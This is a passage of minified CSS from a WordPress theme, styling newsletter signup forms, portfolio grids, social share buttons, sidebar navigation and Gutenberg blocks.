60px;clear:both}.penci-header-signup-form.penci-header-signup-form-below{padding-left:20px;padding-right:20px;margin-left:auto;margin-right:auto}.elementor-template-full-width .wrapper-boxed>.penci-header-signup-form{display:none}.penci-header-signup-form .mc4wp-form{margin:0;width:100%;max-width:100%;color:#fff}.penci-header-signup-form .mc4wp-form>form{display:table;width:100%}.penci-header-signup-form h4.header-signup-form{text-align:center;margin-bottom:18px;font-size:24px;color:#fff;text-transform:uppercase}.penci-header-signup-form .mc4wp-form-fields{display:table;width:100%}.penci-header-signup-form .mc4wp-form-fields>p,.penci-header-signup-form form>p{display:table-cell;text-align:left;color:#fff;padding-right:20px;line-height:1.5;vertical-align:middle}.penci-header-signup-form .mc4wp-form-fields>p:last-of-type,.penci-header-signup-form form>p:last-of-type{padding-right:0}.penci-header-signup-form .mc4wp-form-fields>p:first-of-type,.penci-header-signup-form form>p:first-of-type{max-width:500px}.penci-header-signup-form .mc4wp-form input[type=email],.penci-header-signup-form .mc4wp-form input[type=text]{margin:0;margin-right:20px;border-color:#fff;color:#fff}.penci-header-signup-form .mc4wp-form input[type=email]::-webkit-input-placeholder,.penci-header-signup-form .mc4wp-form input[type=text]::-webkit-input-placeholder{color:#fff}.penci-header-signup-form .mc4wp-form input[type=email]:-moz-placeholder,.penci-header-signup-form .mc4wp-form input[type=text]:-moz-placeholder{color:#fff;opacity:1}.penci-header-signup-form .mc4wp-form input[type=email]::-moz-placeholder,.penci-header-signup-form .mc4wp-form input[type=text]::-moz-placeholder{color:#fff;opacity:1}.penci-header-signup-form .mc4wp-form input[type=email]:-ms-input-placeholder,.penci-header-signup-form .mc4wp-form input[type=text]:-ms-input-placeholder{color:#fff}.penci-header-signup-form .widget input[type=submit]{color:#313131;background:#fff}.penci-header-signup-form .mc4wp-alert,.penci-header-signup-form .mc4wp-error{margin-top:15px}.penci-mailchimp-s3{--pcmc-height:48px}.penci-mailchimp-block .mc4wp-form-fields .memail input,.penci-mailchimp-block .mc4wp-form-fields .mname input{padding:0 20px;line-height:calc(var(--pcmc-height) - 2 * var(--pcmc-bdw))}.penci-mailchimp-block .mc4wp-form-fields .msubmit input{padding:0 20px;line-height:var(--pcmc-height)}@media only screen and (min-width:1170px){.penci-mailchimp-s2 .penci-header-signup-form .mc4wp-form-fields>p{margin-bottom:0!important}.penci-mailchimp-s2 .penci-header-signup-form .mc4wp-form-fields{display:flex;align-items:center}.penci-mailchimp-s2 .penci-header-signup-form .mc4wp-form-fields .mdes{flex:1 1 400px}.penci-mailchimp-s2 .penci-header-signup-form .mc4wp-form-fields .memail,.penci-mailchimp-s2 .penci-header-signup-form .mc4wp-form-fields .mname{flex:1 1 200px}.penci-mailchimp-s2 .penci-header-signup-form .mc4wp-form-fields .msubmit{flex:0 0 auto}}.penci-mailchimp-s4 .mc4wp-form-fields{display:flex;align-items:center;margin-left:-5px;margin-right:-5px}@media only screen and (max-width:479px){.penci-mailchimp-s4 .mc4wp-form-fields{flex-wrap:wrap}}.penci-mailchimp-s4 .mc4wp-form-fields .memail,.penci-mailchimp-s4 .mc4wp-form-fields .mname{flex:1 1 200px;padding:0 5px}.penci-mailchimp-s4 .mc4wp-form-fields .msubmit{flex:0 0 auto;padding:0 5px}.penci-mailchimp-s4 .mc4wp-form-fields .memail,.penci-mailchimp-s4 .mc4wp-form-fields .mname,.penci-mailchimp-s4 .mc4wp-form-fields .msubmit{margin-bottom:10px!important}.penci-mailchimp-s4 .mc4wp-form-fields .memail input,.penci-mailchimp-s4 .mc4wp-form-fields .mname input,.penci-mailchimp-s4 .mc4wp-form-fields .msubmit input{margin-bottom:0!important}.penci-mailchimp-s4 .mc4wp-form-fields .mdes,.penci-mailchimp-s4 .mc4wp-form-fields .mname{display:none}.penci-portfolio-thumbnail .penci-image-placeholder{position:relative;display:block;background-color:#eee;background-repeat:no-repeat;background-position:center center;background-size:cover;-webkit-background-size:cover}.penci-portfolio-thumbnail .penci-image-placeholder>img{position:absolute;display:block;max-width:100%;width:100%;height:100%;top:0;left:0}.wrapper-penci-portfolio{width:100%;overflow:hidden}.penci-portfolio-filter{display:block;text-align:center;margin:0 0 15px 0}.penci-portfolio-filter ul,.post-entry .penci-portfolio-filter ul{list-style:none;display:inline-block;vertical-align:top;padding:0!important;margin:0}.penci-portfolio-filter ul li,.post-entry .penci-portfolio-filter ul li{display:inline-block;float:left;margin:0 15px 5px;padding:0}.penci-portfolio-filter ul li a,.post-entry .penci-portfolio-filter ul li a{color:#313131;font-family:var(--pchead-font)}.penci-portfolio-filter ul li a:hover,.penci-portfolio-filter ul li.active a,.post-entry .penci-portfolio-filter ul li a:hover,.post-entry .penci-portfolio-filter ul li.active a{color:var(--pcaccent-cl);text-decoration:none}.penci-portfolio-wrap{margin-left:-10px;margin-right:-10px}.penci-portfolio-wrap .inner-portfolio-posts{display:inline-block;width:100%;vertical-align:top}.inner-portfolio-posts .portfolio-item{width:33.33333%;padding:0 10px;box-sizing:border-box;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;float:left;margin-bottom:20px}.container .penci-portfolio.column-2 .inner-portfolio-posts .portfolio-item,.penci-portfolio.column-2 .inner-portfolio-posts .portfolio-item{width:50%}.inner-item-portfolio{position:relative;opacity:0;-webkit-animation-fill-mode:both;-moz-animation-fill-mode:both;-ms-animation-fill-mode:both;-o-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-duration:.7s;-moz-animation-duration:.7s;-ms-animation-duration:.7s;-o-animation-duration:.7s;animation-duration:.7s;-webkit-animation-delay:.1s;-moz-animation-delay:.1s;-o-animation-delay:.1s;animation-delay:.1s}.penci-portfolio-wrap.column-2 .portfolio-item:nth-child(2n+1) .inner-item-portfolio,.penci-portfolio-wrap.column-3 .portfolio-item:nth-child(3n+2) .inner-item-portfolio{-webkit-animation-delay:.4s;-moz-animation-delay:.4s;-o-animation-delay:.4s;animation-delay:.4s}.penci-portfolio-wrap.column-3 .portfolio-item:nth-child(3n+3) .inner-item-portfolio{-webkit-animation-delay:.7s;-moz-animation-delay:.7s;-o-animation-delay:.7s;animation-delay:.7s}.pcpt-ajax-ftl .inner-portfolio-posts.loaded .inner-item-portfolio.animated,.penci-portfolio.loaded .inner-item-portfolio.animated{-webkit-animation-name:pencifadeInUp;-moz-animation-name:pencifadeInUp;-o-animation-name:pencifadeInUp;animation-name:pencifadeInUp;opacity:1}.penci-portfolio-thumbnail a:after{opacity:0;position:absolute;top:0;right:0;bottom:0;left:0;background:#fff;content:"";-webkit-transition:.5s;transition:.5s;z-index:10}.inner-item-portfolio:hover .penci-portfolio-thumbnail a:after{opacity:.87}.inner-item-portfolio .portfolio-desc{position:absolute;text-align:center;top:50%;width:100%;padding:0 10px;margin:0;z-index:12;-webkit-transform:translateY(-50%);-ms-transform:translateY(-50%);transform:translateY(-50%)}.inner-item-portfolio a{text-decoration:none!important}.inner-item-portfolio .portfolio-desc h3{opacity:0;text-transform:uppercase;font-size:14px;margin-bottom:10px;position:relative;-webkit-transform:translateY(15px);-ms-transform:translateY(15px);transform:translateY(15px);-webkit-transition:.3s cubic-bezier(.215,.61,.355,1) 0s;transition:.3s cubic-bezier(.215,.61,.355,1) 0s;transition-delay:.2s;-webkit-transition-delay:.2s;-moz-transition-delay:.2s;color:#313131}.inner-item-portfolio .portfolio-desc span{opacity:0;font-size:12px;display:block;vertical-align:top;line-height:1.3;text-decoration:none;color:#888;-webkit-transform:translateY(-15px);-ms-transform:translateY(-15px);transform:translateY(-15px);-webkit-transition:.3s cubic-bezier(.215,.61,.355,1) 0s;transition:.3s cubic-bezier(.215,.61,.355,1) 0s;transition-delay:.2s;-webkit-transition-delay:.2s;-moz-transition-delay:.2s}.inner-item-portfolio .portfolio-desc span del{margin-right:5px;transform:translateY(2px);-webkit-transform:translateY(2px);display:inline-block}.inner-item-portfolio .portfolio-desc span span{display:inline-block}.inner-item-portfolio .portfolio-desc span del span{text-decoration:inherit}.inner-item-portfolio .portfolio-desc span ins span{font-size:13px}.inner-item-portfolio:hover .portfolio-desc h3,.inner-item-portfolio:hover .portfolio-desc span{opacity:1;-webkit-transform:translateY(0);-ms-transform:translateY(0);transform:translateY(0)}.penci-portfolio-below_img .inner-item-portfolio .portfolio-desc{margin-top:20px;position:relative;top:0;transform:none}.penci-portfolio-below_img .inner-item-portfolio .portfolio-desc h3,.penci-portfolio-below_img .inner-item-portfolio .portfolio-desc span{opacity:1;-webkit-transform:translateY(0);-ms-transform:translateY(0);transform:translateY(0)}.penci-portfolio-below_img .penci-portfolio-thumbnail a:after{content:none}.single-portfolio-thumbnail{margin-bottom:26px;text-align:center;vertical-align:top}.portfolio-page-content .portfolio-detail{margin:0 auto;max-width:1000px}.project-pagination a{font-weight:var(--pchead-wei);font-family:var(--pchead-font);text-transform:uppercase;font-size:13px}.project-pagination .next-post a:after{display:inline-block;color:inherit;content:"\f178";font-family:FontAwesome;font-size:14px;margin-left:5px}.project-pagination .prev-post a:before{display:inline-block;color:inherit;content:"\f177";font-family:FontAwesome;font-size:14px;margin-right:5px}.penci-fawesome-ver5 .project-pagination .next-post a:after,.penci-fawesome-ver5 .project-pagination .prev-post a:before{font-family:"Font Awesome 5 Free";font-weight:900}.tags-share-box.hide-tags.page-share.no-border-bottom-portfolio{border-bottom:none}.penci-plf-loadmore{position:relative}.penci-pfl-ajaxdot{display:inline-block;width:30px;height:30px;background-color:#111;border-radius:100%;-webkit-animation:scaleoutPortfolio 1s infinite ease-in-out;animation:scaleoutPortfolio 1s infinite ease-in-out;z-index:50;opacity:0;position:absolute;top:5px;left:50%;margin-left:-15px;visibility:hidden}.penci-ajax-more-button.loading-portfolios .penci-pfl-ajaxdot{opacity:1;z-index:100;visibility:visible}.penci-ajax-more-button.loading-portfolios .ajax-more-text{opacity:0;visibility:hidden}.penci-ajax-more-button.loading-portfolios{background:0 0!important;color:transparent!important;border-color:transparent!important}@-webkit-keyframes scaleoutPortfolio{0%{-webkit-transform:scale(0)}100%{-webkit-transform:scale(1);opacity:0}}@keyframes scaleoutPortfolio{0%{-webkit-transform:scale(0);transform:scale(0)}100%{-webkit-transform:scale(1);transform:scale(1);opacity:0}}.portfolio-page-content .portfolio-detail{margin-left:0;margin-right:0}.penci-portfolio-meta-wrapper{display:flex;flex-wrap:wrap;flex-direction:row;margin:30px -15px;--pc-pf-ct-w:60%;--pc-pf-mt-w:40%}.penci-portfolio-meta-wrapper .penci-page-header{text-align:left;padding-left:15px;padding-right:15px}.penci-portfolio-meta-wrapper .penci-portfolio-col{width:var(--pc-pf-ct-w);padding-left:15px;padding-right:15px}.penci-portfolio-meta-wrapper .penci-meta-lists{width:var(--pc-pf-mt-w)}@media only screen and (max-width:767px){.penci-portfolio-meta-wrapper .penci-meta-lists{width:100%}}.penci-portfolio-meta-wrapper .penci-shortdesc{width:var(--pc-pf-ct-w)}@media only screen and (max-width:767px){.penci-portfolio-meta-wrapper .penci-shortdesc{width:100%}}ul.portfolio-meta-lists{list-style:none;margin:0;padding:0;display:table;width:100%}ul.portfolio-meta-lists li{display:table-row}ul.portfolio-meta-lists li:not(:last-child) span{padding-bottom:10px}ul.portfolio-meta-lists span{display:table-cell}ul.portfolio-meta-lists span.title{font-weight:700;min-width:70px;padding-right:10px}.container:not(.penci_sidebar) .post-entry.portfolio-style-3{display:flex;flex-wrap:wrap;flex-direction:row}@media only screen and (max-width:767px){.container:not(.penci_sidebar) .post-entry.portfolio-style-3{flex-direction:column-reverse}}.container:not(.penci_sidebar) .post-entry.portfolio-style-3 .penci-portfolio-meta-wrapper{flex-direction:column;margin-top:0;margin-bottom:0}.container:not(.penci_sidebar) .post-entry.portfolio-style-3 .penci-portfolio-meta-wrapper .penci-portfolio-col{width:100%}.container:not(.penci_sidebar) .post-entry.portfolio-style-3 .penci-portfolio-meta-wrapper,.container:not(.penci_sidebar) .post-entry.portfolio-style-3 .portfolio-page-content{flex:0 0 auto}.container:not(.penci_sidebar) .post-entry.portfolio-style-3 .penci-portfolio-meta-wrapper{width:29.06%}@media only screen and (max-width:767px){.container:not(.penci_sidebar) .post-entry.portfolio-style-3 .penci-portfolio-meta-wrapper{width:100%}}.container:not(.penci_sidebar) .post-entry.portfolio-style-3 .portfolio-page-content{width:70.94%;padding-left:60px}@media only screen and (max-width:767px){.container:not(.penci_sidebar) .post-entry.portfolio-style-3 .portfolio-page-content{width:100%;padding-left:0}}.container.no_content .post-entry.portfolio-style-3 .portfolio-page-content{width:100%;padding-left:0}.penci-sidebar-content .penci-portfolio-meta-wrapper{flex-direction:column;margin-top:0;margin-bottom:60px}.penci-sidebar-content .penci-portfolio-meta-wrapper .penci-portfolio-col{width:100%}.portfolio-bottom-share{text-align:center}.portfolio-bottom-share.has-border{border-bottom:1px solid #dedede}.portfolio-share-box>span{border-top:1px solid var(--pcborder-cl);padding-top:10px;margin-top:10px}.portfolio-bottom-share .portfolio-share-box>span{border-top:0;padding-top:0;margin-top:0}.portfolio-share-box.tags-share-box{padding-right:0}.portfolio-share-box .share-title{font-weight:var(--pchead-wei);font-family:var(--pchead-font);font-size:12px;text-transform:uppercase;margin-right:10px}.portfolio-share-box .list-posts-share a{color:var(--pcheading-cl);text-decoration:none}.portfolio-share-box .list-posts-share a:hover{color:var(--pcaccent-cl)}.portfolio-share-box .list-posts-share a span{display:none}.portfolio-share-box .list-posts-share a:not(:last-child){margin-right:10px}.portfolio-share-box.style-2 .list-posts-share a,.portfolio-share-box.style-3 .list-posts-share a,.portfolio-share-box.style-4 .list-posts-share a{display:inline-flex;align-items:center;justify-content:center;width:36px;height:36px;margin-right:5px;transition:all .3s ease-in-out;color:#000;border:1px solid var(--pcborder-cl);border-radius:50%}.portfolio-share-box.style-2 .list-posts-share a:hover,.portfolio-share-box.style-3 .list-posts-share a,.portfolio-share-box.style-3 .list-posts-share a:hover,.portfolio-share-box.style-4 .list-posts-share a:hover{color:#fff}.portfolio-share-box.style-2 a.post-share-facebook:hover,.portfolio-share-box.style-3 a.post-share-facebook,.portfolio-share-box.style-3 a.post-share-facebook:hover,.portfolio-share-box.style-4 a.post-share-facebook:hover{background-color:#0d47a1;border-color:#0d47a1}.portfolio-share-box.style-2 a.post-share-twitter:hover,.portfolio-share-box.style-3 a.post-share-twitter,.portfolio-share-box.style-3 a.post-share-twitter:hover,.portfolio-share-box.style-4 a.post-share-twitter:hover{background-color:#40c4ff;border-color:#40c4ff}.portfolio-share-box.style-2 a.post-share-pinterest:hover,.portfolio-share-box.style-3 a.post-share-pinterest,.portfolio-share-box.style-3 a.post-share-pinterest:hover,.portfolio-share-box.style-4 a.post-share-pinterest:hover{background-color:#bd081c;border-color:#bd081c}.portfolio-share-box.style-2 a.post-share-email:hover,.portfolio-share-box.style-3 a.post-share-email,.portfolio-share-box.style-3 a.post-share-email:hover,.portfolio-share-box.style-4 a.post-share-email:hover{background-color:#0084ff;border-color:#0084ff}.portfolio-share-box.style-2 a.post-share-linkedin:hover,.portfolio-share-box.style-3 a.post-share-linkedin,.portfolio-share-box.style-3 a.post-share-linkedin:hover,.portfolio-share-box.style-4 a.post-share-linkedin:hover{background-color:#0077b5;border-color:#0077b5}.portfolio-share-box.style-2 a.post-share-tumblr:hover,.portfolio-share-box.style-3 a.post-share-tumblr,.portfolio-share-box.style-3 a.post-share-tumblr:hover,.portfolio-share-box.style-4 a.post-share-tumblr:hover{background-color:#34465d;border-color:#34465d}.portfolio-share-box.style-2 a.post-share-vk:hover,.portfolio-share-box.style-3 a.post-share-vk,.portfolio-share-box.style-3 a.post-share-vk:hover,.portfolio-share-box.style-4 a.post-share-vk:hover{background-color:#5181b8;border-color:#5181b8}.portfolio-share-box.style-2 a.post-share-pocket:hover,.portfolio-share-box.style-3 a.post-share-pocket,.portfolio-share-box.style-3 a.post-share-pocket:hover,.portfolio-share-box.style-4 a.post-share-pocket:hover{background-color:#ef4056;border-color:#ef4056}.portfolio-share-box.style-2 a.post-share-skype:hover,.portfolio-share-box.style-3 a.post-share-skype,.portfolio-share-box.style-3 a.post-share-skype:hover,.portfolio-share-box.style-4 a.post-share-skype:hover{background-color:#00aff0;border-color:#00aff0}.portfolio-share-box.style-2 a.post-share-whatsapp:hover,.portfolio-share-box.style-3 a.post-share-whatsapp,.portfolio-share-box.style-3 a.post-share-whatsapp:hover,.portfolio-share-box.style-4 a.post-share-whatsapp:hover{background-color:#00e676;border-color:#00e676}.portfolio-share-box.style-2 a.post-share-telegram:hover,.portfolio-share-box.style-3 a.post-share-telegram,.portfolio-share-box.style-3 a.post-share-telegram:hover,.portfolio-share-box.style-4 a.post-share-telegram:hover{background-color:#289fd9;border-color:#289fd9}.portfolio-share-box.style-2 a.post-share-reddit:hover,.portfolio-share-box.style-3 a.post-share-reddit,.portfolio-share-box.style-3 a.post-share-reddit:hover,.portfolio-share-box.style-4 a.post-share-reddit:hover{background-color:#f74300;border-color:#f74300}.portfolio-share-box.style-2 a.post-share-ok:hover,.portfolio-share-box.style-3 a.post-share-ok,.portfolio-share-box.style-3 a.post-share-ok:hover,.portfolio-share-box.style-4 a.post-share-ok:hover{background-color:#f18f00;border-color:#f18f00}.portfolio-share-box.style-2 a.post-share-stumbleupon:hover,.portfolio-share-box.style-3 a.post-share-stumbleupon,.portfolio-share-box.style-3 a.post-share-stumbleupon:hover,.portfolio-share-box.style-4 a.post-share-stumbleupon:hover{background-color:#eb4823;border-color:#eb4823}.portfolio-share-box.style-2 a.post-share-viber:hover,.portfolio-share-box.style-3 a.post-share-viber,.portfolio-share-box.style-3 a.post-share-viber:hover,.portfolio-share-box.style-4 a.post-share-viber:hover{background-color:#7d51a0;border-color:#7d51a0}.portfolio-share-box.style-2 a.post-share-line:hover,.portfolio-share-box.style-3 a.post-share-line,.portfolio-share-box.style-3 a.post-share-line:hover,.portfolio-share-box.style-4 a.post-share-line:hover{background-color:#01b901;border-color:#01b901}.portfolio-share-box.style-3 .list-posts-share a:hover{opacity:.85}.portfolio-share-box.style-4 .list-posts-share a{background-color:#eee;border-color:#eee}.portfolio-share-box.style-4 .list-posts-share a:hover{color:#fff}@media only screen and (min-width:768px){.container.portfolio-single-width-no-sidebar-small-container{max-width:770px;margin-left:auto;margin-right:auto}}.container.portfolio-single-width-fullwidth{width:100%;padding-left:15px;padding-right:15px}.portfolio-releated-area .item-related h3 a{letter-spacing:0;text-transform:none;font-size:16px}.portfolio-releated-area .item-related .portfolio-cat{display:block;margin-top:6px}.portfolio-releated-area .item-related .portfolio-cat a{color:var(--pcmeta-cl)}.portfolio-releated-area .item-related .portfolio-cat a:hover{color:var(--pcaccent-cl)}.portfolio-releated-area .item-related .portfolio-cat a:not(:last-child):after{content:",";display:inline-block}.portfolio-page-content .portfolio-detail{max-width:unset}div.bbp-breadcrumb{float:none;display:block;margin-bottom:30px}.bbp-breadcrumb a,.bbp-breadcrumb span{font-size:13px;color:#888;font-family:var(--pchead-font);font-weight:500}.bbp-breadcrumb .bbp-breadcrumb-sep{color:#888;font-size:13px;margin:0 15px}.widget_display_stats dl{overflow:hidden}.widget_display_stats dd,.widget_display_stats dt{display:inline-block;vertical-align:top;margin-bottom:11px;padding-bottom:12px;border-bottom:1px solid #dedede;font-size:14px}.widget_display_stats dd:last-of-type,.widget_display_stats dt:last-of-type{margin-bottom:0;padding-bottom:0;border-bottom:none}.widget_display_stats dt{float:left;width:75%}.widget_display_stats dt:before{content:"\f105";font-family:FontAwesome;display:inline-block;margin-right:10px;font-size:90%}.penci-fawesome-ver5 .widget_display_stats dt:before{font-family:"Font Awesome 5 Free";font-weight:900}.widget_display_stats dd{float:right;font-style:italic;color:#888;font-family:var(--pcbody-font);font-weight:400;text-align:right;width:25%;position:relative}.widget_display_stats dd strong{font-weight:400}div.ppt{font-weight:400}.pp_gallery ul,.pp_gallery ul a{height:62px}.pp_gallery{margin-top:-65px}.pp_nav p{line-height:1}.penci-google-adsense,.penci-google-adsense-1,.penci-google-adsense-2{margin:0 0 30px;text-align:center;overflow:hidden;display:block}@media only screen and (max-width:767px){.penci-google-adsense,.penci-google-adsense-1,.penci-google-adsense-2{overflow:visible}}.penci-google-adsense.penci-google-adsense-footer{margin-left:auto;margin-right:auto;margin-bottom:50px}.penci-adsense-below-slider{margin-left:auto;margin-right:auto;margin-bottom:60px;margin-top:calc(30px - var(--pchd-mg));text-align:center}.widget_text .textwidget blockquote{margin-bottom:10px;padding-left:40px;position:relative}.widget_text .textwidget blockquote:before{color:#999;position:absolute;top:0;left:0;font-size:22px;content:"\f10d";font-family:FontAwesome;line-height:1}.penci-fawesome-ver5 .widget_text .textwidget blockquote:before{font-family:"Font Awesome 5 Free";font-weight:900}.penci-vernav-enable .penci-menu-hbg{box-shadow:0 0 2px 0 rgba(0,0,0,.15);-moz-box-shadow:0 0 2px 0 rgba(0,0,0,.15);-webkit-box-shadow:0 0 2px 0 rgba(0,0,0,.15)}.penci-vernav-toggle{position:fixed;width:50px;height:50px;display:none;line-height:40px;background:0 0;top:0;left:0;z-index:99997;transition:all .5s;-webkit-transition:all .5s;overflow:hidden}.penci-vernav-toggle svg{position:absolute;top:5px;left:5px;fill:#fff}.penci-vernav-poright .penci-vernav-toggle svg{left:auto;right:5px}.penci-vernav-poright .penci-vernav-toggle{right:0;left:auto}.penci-vernav-poleft.penci-menuhbg-open .penci-vernav-toggle{left:330px}.penci-vernav-poright.penci-menuhbg-open .penci-vernav-toggle{right:330px}body.admin-bar .penci-vernav-toggle{top:32px}@media screen and (max-width:782px){body.admin-bar .penci-vernav-toggle{top:46px}}.penci-vernav-toggle:before{width:0;height:0;border-top:50px solid var(--pcaccent-cl);border-right:50px solid transparent;content:"";display:block}.penci-vernav-poright .penci-vernav-toggle:before{border-left:50px solid transparent}.penci-vernav-toggle i{position:absolute;z-index:10;font-size:14px;top:7px;left:9px;font-weight:400;line-height:1;color:#fff}body.penci-fawesome-ver5 .penci-vernav-toggle i{font-weight:900}.penci-vernav-poright .penci-vernav-toggle i{left:auto;right:9px}@media only screen and (min-width:961px){.penci-vernav-enable.penci-vernav-poleft .pencipdc_podcast.pencipdc_dock_player,.penci-vernav-enable.penci-vernav-poleft .wrapper-boxed{padding-left:330px}.penci-vernav-enable.penci-vernav-poright .pencipdc_podcast.pencipdc_dock_player,.penci-vernav-enable.penci-vernav-poright .wrapper-boxed{padding-right:330px}.penci-vernav-enable .is-sticky #navigation{width:calc(100% - 330px)}.penci-vernav-enable .penci-menu-hbg{transform:none!important;-webkit-transform:none!important;-moz-transform:none!important}}@media only screen and (max-width:960px){.penci-vernav-toggle{display:inline-block}}@media only screen and (max-width:479px){.penci-menu-hbg{width:330px!important}.penci-menuhbg-open .penci-menu-hbg.penci-menu-hbg-left,.penci-vernav-poleft.penci-menuhbg-open .penci-vernav-toggle{left:330px!important}.penci-menuhbg-open .penci-menu-hbg.penci-menu-hbg-right,.penci-vernav-poright.penci-menuhbg-open .penci-vernav-toggle{right:330px!important}.penci-menu-hbg.penci-menu-hbg-right{transform:translateX(330px)!important;-webkit-transform:translateX(330px)!important;-moz-transform:translateX(330px)!important}.penci-menu-hbg.penci-menu-hbg-left{transform:translateX(-330px)!important;-webkit-transform:translateX(-330px)!important;-moz-transform:translateX(-330px)!important}}.penci-hbg-search-box{margin-bottom:30px}form.pc-searchform.penci-hbg-search-form .inner-hbg-search-form{position:relative}form.pc-searchform.penci-hbg-search-form input.search-input{width:100%;background:0 0;font-size:13px;letter-spacing:0;transition:all .3s;-webkit-transition:all .3s}form.pc-searchform.penci-hbg-search-form input.search-input:focus,form.pc-searchform.penci-hbg-search-form input.search-input:hover{border-color:var(--pcaccent-cl)}form.pc-searchform.penci-hbg-search-form i{font-size:14px;color:#c7c7c7}#sidebar-nav form.pc-searchform.penci-hbg-search-form input.search-input:focus,#sidebar-nav form.pc-searchform.penci-hbg-search-form input.search-input:hover{border-color:#e9e9e9}@media only screen and (max-width:1350px) and (min-width:961px){.penci-vernav-enable .container.penci_sidebar #main,.penci-vernav-enable .penci-sidebar-content,.penci-vernav-enable .penci-single-style-10 #sidebar.penci-sidebar-content,.penci-vernav-enable .penci-single-style-10 .penci-single-s10-content,.penci-vernav-enable .penci-single-style-13 #sidebar.penci-sidebar-content,.penci-vernav-enable .penci-single-style-13 .penci-single-s13-content{width:100%;padding-left:0!important;padding-right:0!important}.penci-vernav-enable .penci-single-style-10 .penci-sidebar-content,.penci-vernav-enable .penci-single-style-10 .penci-single-s10-content,.penci-vernav-enable .penci-single-style-13 .penci-sidebar-content,.penci-vernav-enable .penci-single-style-13 .penci-single-s13-content{width:100%;position:static;margin-left:0;top:auto;float:none;display:block}.penci-vernav-enable .penci-single-style-10 .penci-sidebar-content,.penci-vernav-enable .penci-single-style-13 .penci-sidebar-content{margin-bottom:30px}.penci-vernav-enable .penci-sidebar-content,.penci-vernav-enable .penci-single-style-10 #sidebar.penci-sidebar-content,.penci-vernav-enable .penci-single-style-13 #sidebar.penci-sidebar-content{margin-bottom:40px}}@media only screen and (max-width:1300px) and (min-width:961px){.penci-vernav-enable .footer-widget-wrapper.footer-widget-style-1,.penci-vernav-enable .footer-widget-wrapper.footer-widget-style-2,.penci-vernav-enable .footer-widget-wrapper.footer-widget-style-3,.penci-vernav-enable .footer-widget-wrapper.footer-widget-style-5,.penci-vernav-enable .footer-widget-wrapper.footer-widget-style-6,.penci-vernav-enable .footer-widget-wrapper.footer-widget-style-7,.penci-vernav-enable .footer-widget-wrapper.footer-widget-style-8,.penci-vernav-enable .footer-widget-wrapper.footer-widget-style-9{width:100%;margin-right:0;margin-bottom:30px}.penci-vernav-enable .footer-widget-wrapper.footer-widget-style-4{width:48.5%;margin-bottom:30px}.penci-vernav-enable .footer-widget-wrapper.last{margin-bottom:0}.penci-vernav-enable .footer-widget-wrapper.footer-widget-style-4:nth-child(2n+2){margin-right:0}}.penci-wpblock .penci-gutenberg-missing{display:none!important}.penci-wpblock ul.penci-grid{margin-left:0;padding-left:0}.post-entry ol li.wp-block-latest-comments__comment{margin-bottom:15px}.post-entry .wp-block-quote::before,.wp-block-quote::before{content:"â€"}.penci_is_nosidebar .alignfull,.penci_is_nosidebar .wp-block-cover-image.alignfull,.penci_is_nosidebar .wp-block-cover.alignfull,.penci_is_nosidebar .wp-block-gallery.alignfull,.penci_is_nosidebar .wp-block-image.alignfull{margin-left:calc(50% - 50vw);width:100vw;max-width:100vw}.penci_is_nosidebar .alignfull,.penci_is_nosidebar .wp-block-cover-image.alignfull,.penci_is_nosidebar .wp-block-cover.alignfull,.penci_is_nosidebar .wp-block-gallery.alignfull,.penci_is_nosidebar .wp-block-image.alignfull{margin-left:calc(50% - 50vw);width:100vw;max-width:100vw}.post-entry ul.blocks-gallery-grid{padding-left:0}.is-type-wp-embed .wp-block-embed__wrapper iframe{position:static!important}.is-type-wp-embed .wp-block-embed__wrapper blockquote{display:none}@media only screen and (min-width:961px){.penci-vernav-enable .penci_is_nosidebar .alignfull,.penci-vernav-enable .penci_is_nosidebar .wp-block-cover-image.alignfull,.penci-vernav-enable .penci_is_nosidebar .wp-block-cover.alignfull,.penci-vernav-enable .penci_is_nosidebar .wp-block-gallery.alignfull,.penci-vernav-enable .penci_is_nosidebar .wp-block-image.alignfull{margin-left:calc(50% - 50vw + 165px);width:calc(100vw - 330px)}}.penci_is_nosidebar .alignwide,.penci_is_nosidebar .wp-block-cover-image.alignwide,.penci_is_nosidebar .wp-block-cover.alignwide,.penci_is_nosidebar .wp-block-gallery.alignwide,.penci_is_nosidebar .wp-block-image.alignwide{margin-left:calc(25% - 25vw);width:calc(50vw + 50%);max-width:calc(50vw + 50%)}@media only screen and (max-width:767px){.penci_is_nosidebar .alignwide,.penci_is_nosidebar .wp-block-cover-image.alignwide,.penci_is_nosidebar .wp-block-cover.alignwide,.penci_is_nosidebar .wp-block-gallery.alignwide,.penci_is_nosidebar .wp-block-image.alignwide{margin-left:calc(50% - 50vw);width:100vw;max-width:100vw}}.wp-block-cover .wp-block-cover-image-text,.wp-block-cover .wp-block-cover-text,.wp-block-cover h2,.wp-block-cover-image .wp-block-cover-image-text,.wp-block-cover-image .wp-block-cover-text,.wp-block-cover-image h2{font-size:36px}@media only screen and (max-width:767px){.wp-block-cover .wp-block-cover-image-text,.wp-block-cover .wp-block-cover-text,.wp-block-cover h2,.wp-block-cover-image .wp-block-cover-image-text,.wp-block-cover-image .wp-block-cover-text,.wp-block-cover-image h2{font-size:28px}}.post-entry .wp-block-cover .wp-block-cover-text a{color:#fff;text-decoration:none}blockquote.wp-block-quote:before{content:none;display:none}.post-entry blockquote.wp-block-quote p,.wpb_text_column blockquote.wp-block-quote p{font-size:16px;font-style:normal;color:#191e23}.post-entry blockquote.wp-block-quote cite,.wpb_text_column blockquote.wp-block-quote cite{color:#6c7781;font-size:13px;font-style:normal;font-weight:400;text-transform:none;font-family:inherit}.wp-block-quote.is-large,.wp-block-quote.is-style-large{background:#f5f5f5;padding:10px 20px 11px}.post-entry blockquote.wp-block-quote.is-large p,.post-entry blockquote.wp-block-quote.is-style-large p,.wpb_text_column blockquote.wp-block-quote.is-large p,.wpb_text_column blockquote.wp-block-quote.is-style-large p{font-size:24px;font-style:italic}.wpb_text_column ol,.wpb_text_column ul{padding-left:36px;margin-bottom:20px}.wpb_text_column ol ol,.wpb_text_column ol ul,.wpb_text_column ul ol,.wpb_text_column ul ul{margin:2px 0;padding-left:22px}.wpb_text_column ul li{margin-bottom:6px;position:relative;list-style-type:square;line-height:1.7}.wpb_text_column ol li{margin-bottom:2px;list-style:decimal}.post-entry .wp-block-file{font-size:16px}.container-single .post-entry .wp-block-file a,.post-entry .wp-block-file a{color:inherit}.post-entry .wp-block-file a.wp-block-file__button{color:#fff;font-size:14px}.penci_is_nosidebar .wp-block-video.alignfull video,.penci_is_nosidebar .wp-block-video.alignwide 